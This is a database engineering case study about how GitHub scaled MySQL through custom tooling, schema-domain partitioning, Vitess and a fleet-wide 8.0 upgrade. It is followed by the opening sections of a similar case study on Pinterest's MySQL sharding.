GitHub started on MySQL in 2008 and never left. Instead of migrating to a different database, they invested in making MySQL work at scale—building custom tooling where the ecosystem fell short. This "invest in what you know" strategy avoided the risk and engineering cost of a database migration while still achieving the operational characteristics they needed.

## Phase 1: The Monolith (~2008–2014)

### The Single Database

GitHub.com began as a Ruby on Rails application with a single MySQL database, known internally as `mysql1`. This cluster housed the data for nearly every feature: user profiles, repositories, issues, pull requests, stars, and notifications.

The early architecture was straightforward:

- **Single primary** accepting all writes
- **Read replicas** spreading read load across multiple machines
- **No connection pooling** initially—the Rails app opened connections directly to MySQL

### Where It Broke

By 2014, the single-cluster architecture had hit concrete limits:

- **Single point of failure**: Any incident affecting `mysql1`—a failed migration, a lock contention spiral, a hardware fault—impacted every feature on github.com simultaneously
- **Schema migration risk**: Altering a table schema on a multi-hundred-gigabyte table was a multi-hour operation that could cause lock contention and degrade the entire site
- **Vertical scaling limits**: Even with the best available hardware, a single primary could not absorb the growing write load indefinitely

### The 2014 Datacenter Migration

In August 2014, GitHub's infrastructure team (led by Sam Lambert) executed a major datacenter migration:

- Migrated the bulk of GitHub.com's MySQL infrastructure to a new datacenter with upgraded hardware and networking
- Used `tcpdump` to extract production `SELECT` queries and replay them against the new cluster for workload validation
- Tuned InnoDB parameters (`innodb_buffer_pool_size`, `innodb_thread_concurrency`, `innodb_io_capacity`, `innodb_buffer_pool_instances`) through iterative 12-hour test cycles, changing one variable at a time
- Introduced **functional partitioning**: moved large historical data tables to isolated clusters to free buffer pool resources for hot data

**Results:**

| Metric                 | Before   | After                        |
| ---------------------- | -------- | ---------------------------- |
| Average page load time | Baseline | **50% reduction**            |
| P99 response time      | Baseline | **66% reduction**            |
| Migration downtime     | —        | 13 minutes (Saturday 5am PT) |

The migration bought time, but the fundamental architecture—a single primary for most data—remained. The next phase addressed the operational tooling needed to safely evolve the schema and topology at scale.

## Phase 2: Tooling and High Availability (2014–2019)

GitHub's database team recognized that before partitioning the database, they needed tooling that made schema changes, failovers, and replication management safe and automated. Between 2014 and 2019, they built (or adopted and heavily contributed to) four critical tools.

### gh-ost: Triggerless Online Schema Migration

**Problem**: GitHub runs multiple schema migrations daily—adding columns, modifying indexes, changing constraints. The industry-standard tool, `pt-online-schema-change` from Percona, uses MySQL triggers to propagate changes. At GitHub's scale, triggers caused critical issues:

1. **Lock contention**: Triggers execute within the transaction space of every affected query, competing independently for locks on the shadow table. GitHub experienced near-complete table lockdowns during peak traffic
2. **No true pause**: You cannot remove triggers mid-migration without losing data, so throttling only slows the row-copy—triggers keep firing on every write
3. **No concurrent migrations**: The trigger overhead makes running multiple migrations on different tables simultaneously impractical
4. **Opaque testing**: Trigger-based migrations simulate poorly on replicas because Statement-Based Replication (SBR) runs single-threaded, which does not represent the primary's concurrent workload

**Solution**: In August 2016, GitHub open-sourced **gh-ost** (GitHub's Online Schema Transmogrifier), a triggerless migration tool. Instead of triggers, gh-ost connects to a MySQL replica and tails the binary log in Row-Based Replication (RBR) format. It creates a shadow ("ghost") table with the desired schema, copies rows incrementally, and applies ongoing changes from the binary log asynchronously. When the ghost table is synchronized, it performs an atomic table swap.

The key insight: gh-ost presents as a single sequential connection writing to the ghost table—comparable to an Extract, Transform, Load (ETL) process rather than an invasive trigger chain operating inside every production transaction.

**Key operational features:**

| Feature                | How It Works                                                                                        | Why It Matters                                     |
| ---------------------- | --------------------------------------------------------------------------------------------------- | -------------------------------------------------- |
| **True pause**         | Suspending gh-ost stops all writes to the primary                                                   | Safe throttling under load                         |
| **Dynamic control**    | Reconfigure `chunk-size`, `max-lag-millis` at runtime via Unix socket/TCP                           | No restart needed during multi-hour migrations     |
| **Postponed cutover**  | Flag file prevents final swap; ghost table stays in sync                                            | Ops can defer cutover to business hours            |
| **Production testing** | `--test-on-replica` runs the full migration on a replica, swaps tables, then reverses and checksums | Validates correctness without touching the primary |

GitHub runs continuous migration tests on all production tables (including tables of hundreds of GB) using dedicated test replicas. Each test executes a trivial `ENGINE=InnoDB` migration, checksums both tables, and reports any inconsistency. By 2020, almost all of GitHub's MySQL data had been recreated by gh-ost—most of it multiple times.

### orchestrator: Automated Failover with Raft Consensus

**Problem**: The previous failover mechanism used DNS and VIPs (Virtual IP Addresses), which suffered from DNS TTL (Time to Live) propagation delays, split-brain scenarios, and required the dead primary to cooperate in the failover process.

**Solution**: GitHub adopted and became the primary upstream maintainer of **orchestrator**, a MySQL replication topology management and high-availability tool. The architecture:

1. **orchestrator/raft**: Multiple orchestrator nodes across data centers communicate via Raft consensus. No single data center constitutes a majority, preventing isolated-DC split-brain
2. **Consul**: Per-datacenter key-value store maintaining primary node identities (Fully Qualified Domain Name, port, IP addresses)
3. **GLB/HAProxy**: Anycast load balancer with writer pools containing exactly one backend (the primary) per cluster. consul-template watches for Consul KV changes and reloads HAProxy automatically
4. **Holistic failure detection**: orchestrator monitors both the primary AND all replicas. Failover only proceeds when replicas corroborate that the primary is unreachable—preventing false positives

<figure>

![GitHub's MySQL failover sequence: orchestrator detects failure, promotes a replica, updates Consul, and HAProxy reroutes traffic—typically within 10–13 seconds.](./github-s-mysql-failover-sequence-orchestrator-detects-failure-promotes-a-replica.svg)

<figcaption>GitHub's MySQL failover sequence: orchestrator detects failure, promotes a replica, updates Consul, and HAProxy reroutes traffic—typically within 10–13 seconds.</figcaption>
</figure>

**Failover performance:**

| Scenario | Total Outage     |
| -------- | ---------------- |
| Typical  | 10–13 seconds    |
| Extended | Up to 20 seconds |
| Extreme  | Up to 25 seconds |

**Replication configuration**: Semi-synchronous replication with a 500ms timeout ensures the primary waits for at least one local replica acknowledgment before confirming commits. This provides lossless failover for local datacenter failures while falling back to asynchronous mode if the timeout is exceeded.

### freno: Cooperative Throttling

**Problem**: Large bulk operations—schema migrations, data archiving, Elasticsearch indexing—walk through millions of rows and cause MySQL replication lag. When replicas fall behind, users see stale data. The original Rails-side throttler polled replicas synchronously and sequentially, creating stale connections and adding load to the primary.

**Solution**: **freno** is a standalone, highly available service (using Raft consensus) that continuously polls replica lag and exposes a simple HTTP API:

- Applications send an HTTP `HEAD` request before proceeding with bulk writes
- freno returns `HTTP 200` (proceed) or a throttle response based on the current maximum replication lag across all monitored replicas
- Lag measurement uses pt-heartbeat timestamps injected every 100 milliseconds

**Impact:**

- Memcached caching (20ms TTL) reduced freno query load from ~800 requests/second to ~50 requests/second
- Roughly 30% of read traffic was rerouted from the primary to replicas
- Elasticsearch indexing achieved consistent reads under 600ms at p95

### Trilogy: A Purpose-Built MySQL Client

In parallel, GitHub developed **Trilogy**, a MySQL client library written in C with Ruby bindings. In production since 2015 (open-sourced August 2022), Trilogy replaced the `mysql2` gem:

- Eliminates dependency on `libmariadb`/`libmysqlclient` (no version mismatch issues)
- Minimizes memory copies when building and parsing network packets
- Designed for embedding in the Ruby VM (handles blocking syscalls correctly)

During the MySQL 8.0 upgrade, Trilogy's consistent behavior gave the team confidence that the Rails monolith's connections would not break backward replication—a critical property for safe rollback. Multi-client clusters using other frameworks saw backward replication break within hours.

### Automated Schema Migration Pipeline

By 2020, GitHub had assembled these tools into a fully automated migration pipeline:

1. **Developer** opens a PR with schema changes
2. **GitHub Action** runs `skeema diff`, posts the generated SQL to the PR
3. **skeefree** (internal service) analyzes the change, maps it to the correct production cluster, and determines the strategy: direct SQL for `CREATE`/`DROP`, gh-ost for `ALTER TABLE`
4. **Database infrastructure team** reviews and approves via GitHub PR review
5. **skeefree** queues the migration (one `ALTER` per cluster at a time), invokes gh-ost, and posts progress updates to the PR
6. `DROP TABLE` operations are converted to `RENAME` with a timestamp suffix, providing a multi-day rollback window before garbage collection

**Scale**: ~2 schema migrations run daily on production, with peaks of up to 6 per day. Some larger tables require hours or days to migrate. This entire flow previously required hours of manual work daily from a database infrastructure engineer.

## Phase 3: Partitioning (2019–2021)

With reliable tooling in place, GitHub could address the fundamental architecture problem: the `mysql1` cluster was still handling 950,000 queries per second and remained a single point of failure for core features.

### The Approach: Schema Domains

Rather than sharding by hash or range (which fragments the application's data model), GitHub introduced **schema domains**—logical groupings of related tables that are frequently joined or transacted together:

```yaml title="db/schema-domains.yml"
gists:
  - gist_comments
  - gists
  - starred_gists

repositories:
  - issues
  - pull_requests
  - repositories

users:
  - avatars
  - gpg_keys
  - public_keys
  - users
```

This approach partitions along the boundaries that already exist in the application code. Tables within a domain stay together; tables in different domains can be moved to separate clusters independently.

### Enforcement: SQL Linters

Before physically moving tables, GitHub deployed two linters to identify and eliminate cross-domain dependencies:

**Query linter**: Verified that only tables from the same schema domain appear in a single query. Cross-domain joins were flagged and required rewriting—typically replacing `includes` with `preload` in ActiveRecord, which executes separate queries instead of joins.

**Transaction linter**: Ran in production with heavy sampling to identify transactions that span domain boundaries—operations that would lose ACID (Atomicity, Consistency, Isolation, Durability) guarantees after partitioning.

Developers could annotate known violations during remediation:

```ruby title="cross-domain-annotation.rb"
Repository.joins(:owner).annotate("cross-schema-domain-query-exempted")
```

Once a domain had zero violations, it was "virtually partitioned" and ready for physical migration.

### Two Migration Methods

GitHub used two complementary approaches to move tables between clusters without downtime:

**Vitess vertical sharding**: Deployed Vitess's VTGate in Kubernetes clusters as the MySQL protocol endpoint. VReplication (Vitess's replication engine) streamed table data to the destination cluster while applications connected through VTGate, which handled routing transparently.

**Custom write-cutover**: A lighter-weight alternative using standard MySQL replication. The destination cluster replicates from the source, with ProxySQL initially routing all traffic back to the source primary. At cutover time, six steps execute in **tens of milliseconds**:

1. Enable read-only on source primary
2. Read final GTID (Global Transaction Identifier) from source
3. Poll destination primary until GTID arrives
4. Stop replication from source
5. Update ProxySQL routing to destination
6. Disable read-only on both primaries

The custom approach served as risk mitigation—a simpler alternative when Vitess's overhead was not justified for a particular table set.

### Results

GitHub migrated approximately 130 of the busiest tables—repositories, issues, pull requests—off `mysql1` and distributed them across multiple new clusters.

| Metric                 | 2019 (Before) | 2021 (After) | Change            |
| ---------------------- | ------------- | ------------ | ----------------- |
| Total queries/second   | 950,000       | 1,200,000    | +26%              |
| Replica queries/second | 900,000       | 1,125,000    | +25%              |
| Primary queries/second | 50,000        | 75,000       | +50%              |
| Per-host load          | Baseline      | —            | **50% reduction** |
| Database clusters      | ~5            | 50+          | 10x growth        |

The load reduction contributed directly to fewer database-related incidents and improved github.com reliability. Critically, the 10x growth in cluster count—from ~5 clusters to 50+—meant that incidents were now scoped to individual feature domains rather than affecting the entire platform.

### Vitess for Horizontal Sharding

For domains that outgrew even a single-primary cluster (Notifications, Actions, and eventually Issues and Pull Requests), GitHub adopted Vitess's horizontal sharding:

- **VTGate** deployed in Kubernetes as the application-facing MySQL endpoint
- **VTTablet** manages communication between VTGate and individual MySQL instances
- Applications connect to VTGate endpoints instead of directly to MySQL
- GitHub maintains a fork (`github/vitess-gh`) with customizations for their environment

As of 2023, Vitess manages approximately 150 TB of GitHub's data and handles 750,000 QPS of their total database workload.

## Phase 4: Fleet Scale and MySQL 8.0 (2022–2024)

### The Upgrade Challenge

By mid-2022, GitHub's fleet had grown to 1,200+ MySQL hosts across 50+ clusters—all running MySQL 5.7, which was approaching end of life. The last time GitHub upgraded MySQL versions, they had approximately 5 clusters. Now they had 10x more, each with different workload characteristics and application dependencies.

### The Five-Step Rolling Upgrade

The team designed a per-cluster upgrade process that preserved rollback capability at every step:

**Step 1 — Rolling replica upgrades**: Deploy MySQL 8.0 replicas alongside existing 5.7 replicas. Gradually shift read traffic to 8.0 servers while monitoring for query plan regressions.

**Step 2 — Topology reconfiguration**: Create dual replication chains—one serving 8.0 traffic, another maintaining offline 5.7 replicas specifically for rollback.

**Step 3 — Primary promotion**: Use orchestrator to perform a graceful failover, promoting an 8.0 replica to primary. Blacklist 5.7 hosts from failover candidate selection.

**Step 4 — Ancillary upgrades**: Upgrade backup servers and non-production instances.

**Step 5 — Cleanup**: Remove 5.7 servers after a minimum 24-hour production traffic cycle confirms stability.

### Challenges Encountered

**Character set incompatibility**: MySQL 8.0 defaults to `utf8mb4_0900_ai_ci` collation, which MySQL 5.7 does not support. Backward replication from 8.0 to 5.7 (needed for rollback) broke immediately. The fix: configure 8.0 servers with `utf8` / `utf8_unicode_ci` defaults—sacrificing 8.0's improved collation until all clusters were upgraded and rollback was no longer needed.

**Replication bug**: MySQL 8.0.28 patched an issue where the `replica_preserve_commit_order` variable caused replication applier hangs under write-intensive load. GitHub's GTID-based replication met all triggering criteria, requiring version 8.0.28 as the minimum deployment target.

**Query plan regressions**: Queries passing CI against controlled test data failed in production against real-world data distributions. Most notably, queries with large `WHERE IN` clauses (tens of thousands of values) crashed MySQL outright. The team relied on SolarWinds DPM (Database Performance Monitor) for query sampling to detect these regressions before they caused outages.

**Vitess version advertisement**: VTGate advertises a MySQL version to clients. Java clients disabled query caching for 5.7 servers but generated blocking errors after upgrade because MySQL 8.0 removed the query cache entirely. VTGate settings required manual updates per keyspace during the shard-by-shard upgrade.

### Why Prior Partitioning Made This Possible

The partitioning work from Phase 3 turned what would have been a single high-risk upgrade into 50+ independent, smaller upgrades. Each cluster could be upgraded on its own timeline, and a regression in one cluster only affected that domain's features—not the entire platform.

### Outcome

| Metric            | Value                                 |
| ----------------- | ------------------------------------- |
| Fleet size        | 1,200+ hosts (Azure VMs + bare metal) |
| Data managed      | 300+ TB                               |
| Query throughput  | 5.5 million QPS                       |
| Database clusters | 50+                                   |
| Upgrade duration  | Over 1 year (July 2022 – late 2023)   |
| MySQL version     | 8.0 across entire fleet               |

## Options Considered (Across Phases)

GitHub's approach was notably conservative compared to industry peers. At various points, they evaluated alternatives:

### Option 1: Migrate Away from MySQL

**Approach**: Move to PostgreSQL, CockroachDB, or a purpose-built distributed database.

**Why not chosen**: The Rails monolith had deep MySQL dependencies—query patterns, schema conventions, ActiveRecord behaviors. A database migration would have been a multi-year effort with high risk and uncertain benefit. Instead, GitHub chose to build tooling that made MySQL work at their scale.

### Option 2: Adopt Vitess Fully (Replace All Clusters)

**Approach**: Deploy Vitess across the entire fleet rather than only for horizontally sharded domains.

**Why not chosen**: Vitess adds operational complexity (VTGate, VTTablet, topology management). For clusters that don't need horizontal sharding, standard MySQL with orchestrator/Consul provides the same availability guarantees with less overhead. GitHub uses Vitess selectively—where the sharding capability justifies the complexity.

### Option 3: Shard by Hash/Range

**Approach**: Traditional horizontal sharding based on a shard key (e.g., `user_id % N`).

**Why not chosen**: Hash-based sharding fragments the data model and requires application-level routing for every query. Schema domains partition along natural boundaries in the code, preserving the ability to join within a domain and transact atomically. Vitess handles the cases where true horizontal sharding is needed.

### Decision Factors

| Factor                    | Migrate DB | Full Vitess | Hash Sharding | Schema Domains |
| ------------------------- | ---------- | ----------- | ------------- | -------------- |
| Risk                      | Very high  | Medium      | Medium        | Low            |
| Application changes       | Massive    | Moderate    | Significant   | Targeted       |
| Timeline                  | Multi-year | 1–2 years   | 1–2 years     | Incremental    |
| Preserves MySQL expertise | No         | Partially   | Yes           | Yes            |
| Tooling reuse             | None       | Partial     | Full          | Full           |

## Lessons Learned

### Technical Lessons

#### 1. Build the Tooling Before the Migration

**The insight**: GitHub invested 5 years (2014–2019) building gh-ost, orchestrator, freno, and the automated migration pipeline before attempting the database partitioning in 2019. Each tool reduced the risk of the next step.

**How it applies elsewhere**: If your team plans a major database migration, first ask: Can we safely perform schema changes? Can we fail over in under 30 seconds? Can we throttle bulk operations without operator intervention? If the answer to any is "no," build that capability first.

**Warning signs you need this**:

- Schema migrations require maintenance windows
- Failovers take minutes and require manual intervention
- Replication lag is discovered by users, not by tooling

#### 2. Partition by Domain, Not by Load

**The insight**: GitHub partitioned along schema domain boundaries—logical groupings of tables used together—rather than by load or row count. This preserved transactional consistency within domains and aligned with how engineers already thought about the data.

**How it applies elsewhere**: Look at your application's `JOIN` and transaction patterns. The natural partition boundaries are already in your code. SQL linters can identify cross-domain dependencies automatically.

**Warning signs you need this**:

- A single database cluster is a blast radius for all features
- Schema changes on one feature's tables risk impacting unrelated features
- Your largest cluster handles queries for functionally independent workloads

#### 3. Triggers Are a Liability at Scale

**The insight**: MySQL triggers execute within the transaction of the triggering query, competing for locks and adding interpreter overhead to every affected row. At GitHub's write rates, this caused near-complete table lockdowns during migrations.

**How it applies elsewhere**: If your schema migration tool uses triggers (pt-online-schema-change, LHM, oak-online-alter-table), evaluate gh-ost. The binary log approach decouples migration overhead from production write traffic.

### Process Lessons

#### 1. Automate the Migration Pipeline End-to-End

**What they learned**: Before skeefree and the GitHub Actions integration, each migration required hours of manual coordination per day by a database infrastructure engineer. Automating the pipeline through PR-based workflows let engineers request migrations without understanding the underlying tooling.

**What they'd do differently**: GitHub acknowledged that the MySQL 8.0 upgrade still required excessive manual intervention. Future work focuses on self-healing automation and reduced per-cluster manual steps.

#### 2. Maintain Backward Replication for Rollback

**What they learned**: During the MySQL 8.0 upgrade, backward replication from 8.0 to 5.7 was the only viable rollback mechanism. Clusters using the consistent Trilogy client maintained backward replication indefinitely. Multi-client clusters using different MySQL drivers broke backward replication within hours, compressing the rollback window.

**The implication**: Standardizing the database client across all applications (not just the monolith) directly affects your ability to safely roll back infrastructure changes.

### Organizational Lessons

#### 1. Small, Specialized Teams Punching Above Their Weight

GitHub's database infrastructure team authored and maintained gh-ost, orchestrator, freno, Trilogy, and the migration automation pipeline. Key individuals—Shlomi Noach (gh-ost, orchestrator, freno), Tom Krouper (testing automation), Hailey Somerville and Brian Lopez (Trilogy)—built tools that became industry standards. The team's deep MySQL expertise, combined with building open-source tooling rather than proprietary solutions, created a virtuous cycle: external adoption improved the tools, which improved GitHub's own operations.

## Conclusion

GitHub's MySQL story spans 15+ years and demonstrates that a monolithic relational database can scale to 5.5 million QPS across 1,200+ hosts—without abandoning MySQL. The strategy was not a single migration but a sequence of investments: custom tooling (2014–2019), logical then physical partitioning (2019–2021), selective Vitess adoption for horizontal sharding, and a fleet-wide version upgrade (2022–2024).

The approach is reproducible. The core tools—gh-ost, orchestrator, freno—are open source and battle-tested at GitHub's scale. The schema domain concept requires only a YAML config and SQL linters to enforce. The partitioning strategy works incrementally: one domain at a time, validating each step before proceeding.

The deeper lesson is about sequencing. GitHub built operational safety (tooling and automation) before attempting structural changes (partitioning and sharding). This meant that when they finally partitioned `mysql1`, they had years of production data validating their migration tools, years of automated failover proving their HA architecture, and an established pipeline for schema changes that made the application-layer refactoring predictable. Each phase reduced the risk of the next.

## Appendix

### Prerequisites

- Familiarity with MySQL replication (primary-replica topology, binary logs, GTIDs)
- Understanding of database sharding concepts (vertical vs. horizontal partitioning)
- Basic knowledge of service discovery patterns (Consul, DNS-based routing)

### Terminology

| Term              | Definition                                                                                                |
| ----------------- | --------------------------------------------------------------------------------------------------------- |
| **gh-ost**        | GitHub's Online Schema Transmogrifier—a triggerless online schema migration tool for MySQL                |
| **orchestrator**  | MySQL replication topology management and high-availability tool using Raft consensus                     |
| **freno**         | Cooperative throttling service that rate-limits bulk operations based on MySQL replication lag            |
| **Trilogy**       | MySQL client library written in C with Ruby bindings, built by GitHub as a replacement for the mysql2 gem |
| **skeefree**      | GitHub's internal schema migration orchestration service                                                  |
| **VTGate**        | Vitess's proxy component that applications connect to instead of MySQL directly                           |
| **VReplication**  | Vitess's replication engine for moving table data between clusters                                        |
| **Schema domain** | A logical grouping of related tables that are frequently joined or transacted together                    |
| **GTID**          | Global Transaction Identifier—a unique identifier for each transaction in MySQL replication               |
| **GLB**           | GitHub Load Balancer—their custom anycast load balancer built on HAProxy                                  |

### Summary

- GitHub scaled MySQL from a single database to 1,200+ hosts across 50+ clusters serving 5.5 million QPS—without migrating away from MySQL
- Custom tooling (gh-ost, orchestrator, freno) was built before partitioning, reducing the risk of every subsequent migration
- Schema domains—logical groupings enforced by SQL linters—defined partition boundaries along natural application boundaries, not arbitrary shard keys
- Vitess was adopted selectively for horizontal sharding of domains that outgrew single-primary clusters (Notifications, Actions, Issues, Pull Requests)
- The MySQL 5.7 to 8.0 upgrade was made tractable by prior partitioning: 50+ independent cluster upgrades instead of one monolithic operation
- Key lesson: build operational safety first, then use it to de-risk structural changes

### References

- [Partitioning GitHub's relational databases to handle scale](https://github.blog/engineering/infrastructure/partitioning-githubs-relational-databases-scale/) — Thomas Maurer, GitHub Blog, September 2021
- [Upgrading GitHub.com to MySQL 8.0](https://github.blog/engineering/infrastructure/upgrading-github-com-to-mysql-8-0/) — Jiaqi Liu, Daniel Rogart, Xin Wu, GitHub Blog, December 2023
- [MySQL High Availability at GitHub](https://github.blog/engineering/infrastructure/mysql-high-availability-at-github/) — Shlomi Noach, GitHub Blog, June 2018
- [gh-ost: GitHub's online schema migration tool for MySQL](https://github.blog/news-insights/company-news/gh-ost-github-s-online-migration-tool-for-mysql/) — Shlomi Noach, GitHub Blog, August 2016
- [Automating MySQL schema migrations with GitHub Actions and more](https://github.blog/enterprise-software/automation/automating-mysql-schema-migrations-with-github-actions-and-more/) — Shlomi Noach, GitHub Blog, February 2020
- [MySQL infrastructure testing automation at GitHub](https://github.blog/engineering/infrastructure/mysql-testing-automation-at-github/) — Tom Krouper and Shlomi Noach, GitHub Blog, July 2017
- [Mitigating replication lag and reducing read load with freno](https://github.blog/engineering/infrastructure/mitigating-replication-lag-and-reducing-read-load-with-freno/) — GitHub Blog, March 2019
- [Making MySQL Better at GitHub](https://github.blog/2014-09-02-making-mysql-better-at-github/) — Sam Lambert, GitHub Blog, September 2014
- [Introducing Trilogy: a new database adapter for Ruby on Rails](https://github.blog/2022-08-25-introducing-trilogy-a-new-database-adapter-for-ruby-on-rails/) — GitHub Blog, August 2022
- [Orchestrator at GitHub](https://github.blog/engineering/infrastructure/orchestrator-github/) — Shlomi Noach, GitHub Blog, December 2016
- [Introduction to Vitess and Real-World Usage](https://kccnceu2023.sched.com/event/1Hzda/) — Arthur Schreiber (GitHub) and Florent Poinsard (PlanetScale), KubeCon EU 2023
- [GitHub Upgrades its MySQL Infrastructure from v5.7 to 8.0](https://www.infoq.com/news/2024/02/github-mysql-upgrade-v8/) — InfoQ, February 2024
- [github/gh-ost](https://github.com/github/gh-ost) — GitHub repository (MIT License, 13,000+ stars)
- [openark/orchestrator](https://github.com/openark/orchestrator) — GitHub repository
- [github/freno](https://github.com/github/freno) — GitHub repository (MIT License)
- [trilogy-libraries/trilogy](https://github.com/trilogy-libraries/trilogy) — GitHub repository (MIT License)

---

## Pinterest: MySQL Sharding from Zero to Billions of Objects

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/pinterest-mysql-sharding
**Category:** System Design / Real-World Case Studies
**Description:** In 2012, Pinterest had 3.2 million users doubling every 45 days, 3 engineers, and five different database technologies all breaking simultaneously. Their fix: abandon every NoSQL database, shard MySQL with a 64-bit ID scheme that embeds shard location directly in every object ID, and never move data between shards. This case study examines how Pinterest’s “boring technology” philosophy produced one of the most enduring database architectures in Silicon Valley---still running in production over a decade later---and the specific design decisions that made it work at 150+ billion objects.

# Pinterest: MySQL Sharding from Zero to Billions of Objects

In 2012, Pinterest had 3.2 million users doubling every 45 days, 3 engineers, and five different database technologies all breaking simultaneously. Their fix: abandon every NoSQL database, shard MySQL with a 64-bit ID scheme that embeds shard location directly in every object ID, and never move data between shards. This case study examines how Pinterest's "boring technology" philosophy produced one of the most enduring database architectures in Silicon Valley---still running in production over a decade later---and the specific design decisions that made it work at 150+ billion objects.

<figure>

![Pinterest's storage architecture before and after the MySQL sharding migration. Six different database technologies replaced by three.](./pinterest-s-storage-architecture-before-and-after-the-mysql-sharding-migration-s.svg)

<figcaption>Pinterest's storage architecture before and after the MySQL sharding migration. Six different database technologies replaced by three.</figcaption>
</figure>

## Abstract

Pinterest's sharding system encodes location directly into every object's identity. A 64-bit ID contains the shard number, object type, and local row ID---no lookup service needed. The shard ID determines which physical MySQL instance holds the data. Virtual shards (initially 4,096 across 8 servers) decouple logical placement from physical topology, so capacity grows by splitting physical hosts without moving data. All objects store their attributes as JSON blobs in a three-column MySQL table (`local_id`, `data`, `ts`), eliminating schema migrations. Relationships use separate mapping tables (`noun_verb_noun`) stored on the "from" object's shard. Application-layer joins replace SQL JOINs---each ID carries its own routing information, so multi-object reads parallelize across shards with latency equal to the slowest single query.

The design works because it trades features MySQL handles poorly at scale (cross-shard joins, distributed transactions, cluster consensus) for features it handles well (single-row lookups by primary key, single-shard ACID transactions, master-master replication). The result is a system where every query is a primary key lookup on a known shard, every write is a single-shard transaction, and capacity planning reduces to "add more identical MySQL pairs."

## Context

### The System

Pinterest is a visual discovery platform where users save ("pin") images and links to organized collections ("boards"). The core data model is:

| Entity      | Description                                  | Scale (2012)      |
| ----------- | -------------------------------------------- | ----------------- |
| **Users**   | Accounts with profiles and preferences       | ~11.7 million MAU |
| **Pins**    | Saved images/links with metadata             | ~500 million      |
| **Boards**  | User-created collections of pins             | Tens of millions  |
| **Follows** | User-to-user and user-to-board relationships | ~1.6 billion rows |

Every user action---pinning, creating boards, following---generates writes to these entities and their relationships. The read pattern is heavily fan-out: loading a board requires fetching the board metadata plus 50+ pin objects, each potentially on a different shard.

### The Trigger

**Date**: September--December 2011

**Growth**: User base doubling every 45 days. Pinterest became the fastest site ever to reach 10 million unique monthly visitors (per comScore).

**Team**: 3 engineers, 8 total staff.

**The crisis**: Every database technology they used was breaking in different ways every night. With only 3 engineers managing 6 different storage systems, operational overhead consumed all engineering capacity.

### Constraints

- **Team size**: 3 engineers (growing to 6 by January 2012) to build, migrate, and operate the entire storage layer
- **Growth rate**: Could not afford any feature freeze longer than absolutely necessary
- **Operational simplicity**: Whatever they built had to be operable by a tiny team
- **Data safety**: They had already lost data to NoSQL failures---the replacement had to be reliable above all else

## The Problem

### The Age of Experimentation

By September 2011, Pinterest's storage layer was a patchwork of six technologies deployed in rapid succession to keep up with growth:

| Technology    | Use Case                        | Instances               | Status                          |
| ------------- | ------------------------------- | ----------------------- | ------------------------------- |
| **MySQL**     | Primary data (manually sharded) | 5 DBs + 9 read replicas | Stable but hitting shard limits |
| **Cassandra** | Distributed storage             | 4 nodes                 | Repeated data corruption        |
| **Membase**   | Key-value cache                 | 15 nodes (3 clusters)   | Unreliable cluster management   |
| **MongoDB**   | Counters                        | 3 clusters              | Operational complexity          |
| **Redis**     | Caching, queues                 | 10 instances            | Stable                          |
| **Memcache**  | Object cache                    | 8 instances             | Stable                          |

Each technology had its own operational model, failure modes, monitoring, backup procedures, and on-call playbook. Three engineers could not maintain expertise across all of them.

### How Each Technology Failed

**Cassandra** was the most damaging. The cluster management algorithm---the code responsible for membership, data placement, and rebalancing---was a single point of failure replicated across every node. A bug in this algorithm could (and did) impact the entire cluster simultaneously. Specific failures included:

- **Data rebalancing broke repeatedly**: Nodes would join or leave, triggering a rebalance that never completed correctly
- **Data corruption across all nodes**: A bug in the cluster manager corrupted data on every node in at least one incident
- **Data authority failures**: A secondary replica at 80% replication could claim primary status, resulting in 20% data loss
- **Four separate outages**: Cassandra's cluster manager took the site down four times

**Membase** had similar cluster management issues. **MongoDB** added operational complexity without solving the core scaling problem. **Elasticsearch** struggled with Pinterest's pattern of many tiny documents.

The common thread: every clustering technology required nodes to reach **symmetric agreement** about cluster state. This agreement protocol---gossip, consensus, or anti-entropy---was the most complex code in each system, and it was the code that failed.

### Why It Wasn't Obvious Earlier

These technologies worked fine at small scale. Cassandra handled 4 nodes without issues. The cluster management failures only emerged as the cluster grew and experienced real-world conditions (node failures, network partitions, rebalancing under load). By the time the failure modes became apparent, Pinterest was dependent on the technology and had no time to evaluate alternatives carefully.

As Marty Weiner (Pinterest's second engineer and founding architect) noted: when you push a technology to its limit, it fails in ways the documentation doesn't describe.

### The One Technology That Didn't Fail

MySQL. Across every incident, every hardware failure, every operational emergency, MySQL never lost data. Scripts to recover MySQL data existed, were well-tested, and worked. The team could always restore from backups and "live another day."

This observation---that the most mature, least exciting technology was the most reliable---became the foundation of their rearchitecture.

## Options Considered

### Option 1: Scale Existing NoSQL Stack

**Approach**: Fix Cassandra's operational issues, add more nodes, invest in better cluster management tooling.

**Pros**:

- No migration required
- Cassandra's data model (wide columns) fits Pinterest's access patterns

**Cons**:

- Cluster management failures are fundamental to the technology's architecture at that maturity level
- 3 engineers cannot develop deep Cassandra expertise while building product features
- Cassandra was immature in 2011---Pinterest would be among the largest deployments, amplifying every bug

**Why not chosen**: The failure mode was in the clustering layer itself, not in Pinterest's usage of it. No amount of operational investment would fix bugs in Cassandra's consensus protocol. And the team was too small to be both Cassandra contributors and Pinterest engineers.

### Option 2: Adopt a Different NoSQL Database

**Approach**: Migrate to a more mature NoSQL solution (HBase, Riak, or a newer Cassandra version).

**Pros**:

- Potentially better cluster management
- Built-in horizontal scaling

**Cons**:

- Same fundamental risk: clustering algorithms are inherently complex
- Migration cost is high regardless of destination
- Every NoSQL system was relatively immature in 2011--2012
- Operational model would still require specialized expertise

**Why not chosen**: Marty Weiner articulated a key insight---the problem wasn't which clustering technology to use, but whether to use clustering at all. All clustering systems share the same fundamental complexity: nodes must agree on cluster state, and that agreement protocol is where failures live.

### Option 3: Shard MySQL with Application-Layer Routing (Chosen)

**Approach**: Partition data across many independent MySQL instances. Embed shard routing directly in object IDs. Handle all cross-shard logic in the application layer.

**Pros**:

- MySQL is the most mature relational database---decades of production hardening
- No cluster management: each MySQL instance is independent
- Failure modes are well-understood and manageable
- Huge talent pool---any engineer can work with MySQL
- Excellent tooling ecosystem (XtraBackup, Innotop, Maatkit/Percona Toolkit)
- Predictable, linear performance scaling

**Cons**:

- No cross-shard joins, foreign keys, or distributed transactions
- Application must handle all routing logic
- Requires building custom ID generation, shard mapping, and migration tooling
- Schema flexibility is limited (solved by storing JSON blobs)

**Why chosen**: MySQL had never lost Pinterest's data. Its failure modes were understood. The sharding logic was simple enough to fit in half a page of code. And critically, capacity could be added by "throwing money at the problem"---adding more identical MySQL instances---rather than debugging cluster consensus algorithms.

